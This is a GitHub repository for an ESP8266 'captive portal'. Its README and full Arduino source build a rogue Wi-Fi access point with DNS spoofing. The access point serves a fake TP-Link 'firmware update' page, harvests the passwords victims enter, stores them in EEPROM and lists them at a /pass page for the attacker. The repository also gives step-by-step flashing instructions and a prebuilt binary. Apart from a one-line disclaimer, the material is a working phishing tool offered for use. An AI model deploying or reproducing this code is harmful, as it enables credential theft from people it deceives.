├── _config.yml ├── favicon.png ├── src ├── 2_Post.png ├── 3_Pass.png ├── 4_ssid.png ├── 1_Index_2.png ├── Thumbnail.png ├── 1_port_selection.png └── 2_file_selection.png ├── NodeMCU-Captive-Portal ├── build │ └── esp8266.esp8266.generic │ │ ├── NodeMCU-Captive-Portal.ino.bin │ │ └── NodeMCU-Captive-Portal.ino.elf └── NodeMCU-Captive-Portal.ino ├── LICENSE └── README.md /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker 2 | -------------------------------------------------------------------------------- /favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/favicon.png -------------------------------------------------------------------------------- /src/2_Post.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/2_Post.png -------------------------------------------------------------------------------- /src/3_Pass.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/3_Pass.png -------------------------------------------------------------------------------- /src/4_ssid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/4_ssid.png -------------------------------------------------------------------------------- /src/1_Index_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/1_Index_2.png -------------------------------------------------------------------------------- /src/Thumbnail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/Thumbnail.png -------------------------------------------------------------------------------- /src/1_port_selection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/1_port_selection.png -------------------------------------------------------------------------------- /src/2_file_selection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/src/2_file_selection.png -------------------------------------------------------------------------------- /NodeMCU-Captive-Portal/build/esp8266.esp8266.generic/NodeMCU-Captive-Portal.ino.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/NodeMCU-Captive-Portal/build/esp8266.esp8266.generic/NodeMCU-Captive-Portal.ino.bin -------------------------------------------------------------------------------- /NodeMCU-Captive-Portal/build/esp8266.esp8266.generic/NodeMCU-Captive-Portal.ino.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/HEAD/NodeMCU-Captive-Portal/build/esp8266.esp8266.generic/NodeMCU-Captive-Portal.ino.elf -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 OCEAN OF ANYTHING 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 |

3 | 4 |
5 |

6 | GitHub code size in bytes 7 | GitHub Repo Version 8 | GitHub Repo stars 9 | 10 | OS - Linux 11 | OS - macOS 12 | OS - Windows 13 | Hosted with GH Pages 14 | maintained - yes 15 |
view - Documentation
16 |
17 |

18 | 19 | ## Disclaimer 20 | This project is for testing and educational purposes. Use it only against your own networks and devices. I don't take any responsibility for what you do with this program. 21 | 22 | ## About this project 23 | WiFi captive portal for the NodeMCU (ESP8266 Module) with DNS spoofing. 24 | 25 | This project can steal any Wi-Fi passwords in simple way. It uses a fake `update page` to get the password from the user. You just need to edit the Wi-Fi SSID name and the password will be posted to the ESP8266. 26 | 27 | The built-in LED will blink 5 times when a password is posted. 28 | 29 | Warning! Your saved passwords will **not** disappear when you restart/power off the ESP8266. 30 | 31 | Note: If you want to see the stored passwords go to "**192.168.4.1**/pass". For changing the SSID, go to "**192.168.4.1**/ssid" 32 | 33 | 34 | 35 | # Screenshots 36 | 37 | ## ``192.168.4.1/index`` 38 | This is the main page. Here the user will write his password and send it. 39 | 40 | 41 | 42 | ## ``192.168.4.1/post`` 43 | This is the post page. The user will be redirected here after posting the password. 44 | 45 | 46 | 47 | ## ``192.168.4.1/pass`` 48 | This is where the attacker can retrieve all the passwords that has been posted. 49 | 50 | 51 | 52 | ## ``192.168.4.1/ssid`` 53 | Here the attacker can change the SSID name of the Access Point on the go. 54 | 55 | 56 | 57 | 58 | 59 | # Installation (ESP8266 Flasher - Easy way) 60 | 61 | 1. Download ESP8266 Flasher. 62 | 63 | 2. Download the [NodeMCU-Captive-Portal.ino.bin](https://github.com/OCEANOFANYTHINGOFFICIAL/NodeMCU-Captive-Portal/raw/main/NodeMCU-Captive-Portal/build/esp8266.esp8266.generic/NodeMCU-Captive-Portal.ino.bin) file. 64 | 65 | 3. Open the ESP8266 Flasher and select the Node MCU port 66 | 67 | 68 | 69 | 4. Then, go to the config tab and select the .bin file you've just downloaded. 70 | 71 | 72 | 73 | 5. Finally, go back to the first tab and press "Flash" 74 | 75 | 6. Your Node MCU is ready! 76 | 77 | 78 | # Installation (Arduino IDE) 79 | 80 | 1. Open your Arduino IDE and go to "File -> Preferences -> Boards Manager URLs" and paste the following link: 81 | ``http://arduino.esp8266.com/stable/package_esp8266com_index.json`` 82 | 83 | 2. Go to "Tools -> Board -> Boards Manager", search "esp8266" and install esp8266 84 | 85 | 3. Go to "Tools -> Board" and select your board 86 | 87 | 4. Download and open the sketch "NodeMCU-Captive-Portal.ino" 88 | 89 | 5. You can optionally change some parameters like the SSID name and texts of the page like title, subtitle, text body etc. 90 | 91 | 6. Upload the code into your board. 92 | 93 | 7. You are done! 94 | 95 | -------------------------------------------------------------------------------- /NodeMCU-Captive-Portal/NodeMCU-Captive-Portal.ino: -------------------------------------------------------------------------------- 1 | // Author: Nakshatra Ranjan Saha (OCEAN OF ANYTHING) 2 | // GitHub: https://github.com/OCEANOFANYTHINGOFFICIAL 3 | 4 | // Libraries 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | // Default SSID name 11 | const char* SSID_NAME = "Office Wi-Fi"; 12 | 13 | // Default main strings 14 | #define SUBTITLE "TP-Link" 15 | #define TITLE "Firmwire Update" 16 | #define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally." 17 | #define POST_TITLE "Updating..." 18 | #define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.
Thank you." 19 | #define PASS_TITLE "Passwords" 20 | #define CLEAR_TITLE "Cleared" 21 | 22 | // Init system settings 23 | const byte HTTP_CODE = 200; 24 | const byte DNS_PORT = 53; 25 | const byte TICK_TIMER = 1000; 26 | IPAddress APIP(192, 168, 4, 1); // Gateway 27 | 28 | String allPass = ""; 29 | String newSSID = ""; 30 | String currentSSID = ""; 31 | 32 | // For storing passwords in EEPROM. 33 | int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time. 34 | int passStart = 30; // Starting location in EEPROM to save password. 35 | int passEnd = passStart; // Ending location in EEPROM to save password. 36 | 37 | 38 | unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0; 39 | DNSServer dnsServer; ESP8266WebServer webServer(80); 40 | 41 | String input(String argName) { 42 | String a = webServer.arg(argName); 43 | a.replace("<","<");a.replace(">",">"); 44 | a.substring(0,200); return a; } 45 | 46 | String footer() { 47 | return ""; 48 | } 49 | 50 | String header(String t) { 51 | String a = String(currentSSID); 52 | String CSS = "article { background: #f2f2f2; padding: 1.3em; }" 53 | "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" 54 | "div { padding: 0.5em; }" 55 | "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" 56 | "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }" 57 | "label { color: #333; display: block; font-style: italic; font-weight: bold; }" 58 | "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" 59 | "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " 60 | "textarea { width: 100%; }"; 61 | String h = "" 62 | "" + a + " :: " + t + "" 63 | "" 64 | "" 65 | "" 66 | "

" + t + "

"; 67 | return h; } 68 | 69 | String index() { 70 | return header(TITLE) + "
" + BODY + "
"+ 71 | "
" + footer(); 72 | } 73 | 74 | String posted() { 75 | String pass = input("m"); 76 | pass = "
  • " + pass + "
  • "; // Adding password in a ordered list. 77 | allPass += pass; // Updating the full passwords. 78 | 79 | // Storing passwords to EEPROM. 80 | for (int i = 0; i <= pass.length(); ++i) 81 | { 82 | EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM. 83 | } 84 | 85 | passEnd += pass.length(); // Updating end position of passwords in EEPROM. 86 | EEPROM.write(passEnd, '\0'); 87 | EEPROM.commit(); 88 | return header(POST_TITLE) + POST_BODY + footer(); 89 | } 90 | 91 | String pass() { 92 | return header(PASS_TITLE) + "
      " + allPass + "

    Back to Index

    Clear passwords

    " + footer(); 93 | } 94 | 95 | String ssid() { 96 | return header("Change SSID") + "

    Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.

    " + "
    "+ 97 | "
    " + footer(); 98 | } 99 | 100 | String postedSSID() { 101 | String postedSSID = input("s"); newSSID="
  • " + postedSSID + "
  • "; 102 | for (int i = 0; i < postedSSID.length(); ++i) { 103 | EEPROM.write(i, postedSSID[i]); 104 | } 105 | EEPROM.write(postedSSID.length(), '\0'); 106 | EEPROM.commit(); 107 | WiFi.softAP(postedSSID); 108 | return header("Posted SSID") + newSSID + footer(); 109 | } 110 | 111 | String clear() { 112 | allPass = ""; 113 | passEnd = passStart; // Setting the password end location -> starting position. 114 | EEPROM.write(passEnd, '\0'); 115 | EEPROM.commit(); 116 | return header(CLEAR_TITLE) + "

    The password list has been reseted.

    Back to Index
    " + footer(); 117 | } 118 | 119 | void BLINK() { // The built-in LED will blink 5 times after a password is posted. 120 | for (int counter = 0; counter < 10; counter++) 121 | { 122 | // For blinking the LED. 123 | digitalWrite(BUILTIN_LED, counter % 2); 124 | delay(500); 125 | } 126 | } 127 | 128 | void setup() { 129 | // Serial begin 130 | Serial.begin(115200); 131 | 132 | bootTime = lastActivity = millis(); 133 | EEPROM.begin(512); 134 | delay(10); 135 | 136 | // Check whether the ESP is running for the first time. 137 | String checkValue = "first"; // This will will be set in EEPROM after the first run. 138 | 139 | for (int i = 0; i < checkValue.length(); ++i) 140 | { 141 | if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i]) 142 | { 143 | // Add "first" in initialCheckLocation. 144 | for (int i = 0; i < checkValue.length(); ++i) 145 | { 146 | EEPROM.write(i + initialCheckLocation, checkValue[i]); 147 | } 148 | EEPROM.write(0, '\0'); // Clear SSID location in EEPROM. 149 | EEPROM.write(passStart, '\0'); // Clear password location in EEPROM 150 | EEPROM.commit(); 151 | break; 152 | } 153 | } 154 | 155 | // Read EEPROM SSID 156 | String ESSID; 157 | int i = 0; 158 | while (EEPROM.read(i) != '\0') { 159 | ESSID += char(EEPROM.read(i)); 160 | i++; 161 | } 162 | 163 | // Reading stored password and end location of passwords in the EEPROM. 164 | while (EEPROM.read(passEnd) != '\0') 165 | { 166 | allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM. 167 | passEnd++; // Updating the end location of password in EEPROM. 168 | } 169 | 170 | WiFi.mode(WIFI_AP); 171 | WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); 172 | 173 | // Setting currentSSID -> SSID in EEPROM or default one. 174 | currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME; 175 | 176 | Serial.print("Current SSID: "); 177 | Serial.print(currentSSID); 178 | WiFi.softAP(currentSSID); 179 | 180 | // Start webserver 181 | dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP) 182 | webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); }); 183 | webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); }); 184 | webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); }); 185 | webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); }); 186 | webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); }); 187 | webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); }); 188 | webServer.begin(); 189 | 190 | // Enable the built-in LED 191 | pinMode(BUILTIN_LED, OUTPUT); 192 | digitalWrite(BUILTIN_LED, HIGH); 193 | } 194 | 195 | 196 | void loop() { 197 | if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();} 198 | dnsServer.processNextRequest(); webServer.handleClient(); } 199 | --------------------------------------------------------------------------------